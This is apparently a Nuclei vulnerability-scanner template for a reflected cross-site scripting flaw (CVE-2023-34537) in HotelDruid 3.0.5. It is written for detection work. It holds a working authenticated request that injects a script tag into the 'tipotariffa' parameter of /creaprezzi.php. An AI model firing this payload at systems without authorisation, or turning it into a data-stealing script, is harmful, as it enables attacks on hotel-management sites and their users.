id: CVE-2023-34537

info:
  name: Hoteldruid 3.0.5 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A Reflected XSS was discovered in HotelDruid version 3.0.5, an attacker can issue malicious code/command on affected webpage's parameter to trick user on browser and/or exfiltrate data.
  reference:
    - https://github.com/leekenghwa/CVE-2023-34537---XSS-reflected--found-in-HotelDruid-3.0.5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34537
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-34537
    cwe-id: CWE-79
    epss-score: 0.0007
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: digitaldruid
    product: hoteldruid
  tags: cve,cve2023,hoteldrui,xss,authenticated

http:
  - raw:
      - |
        POST /inizio.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        vers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}
      - |
        POST /creaprezzi.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        anno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1

    skip-variables-check: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "HotelDruid")'
        condition: and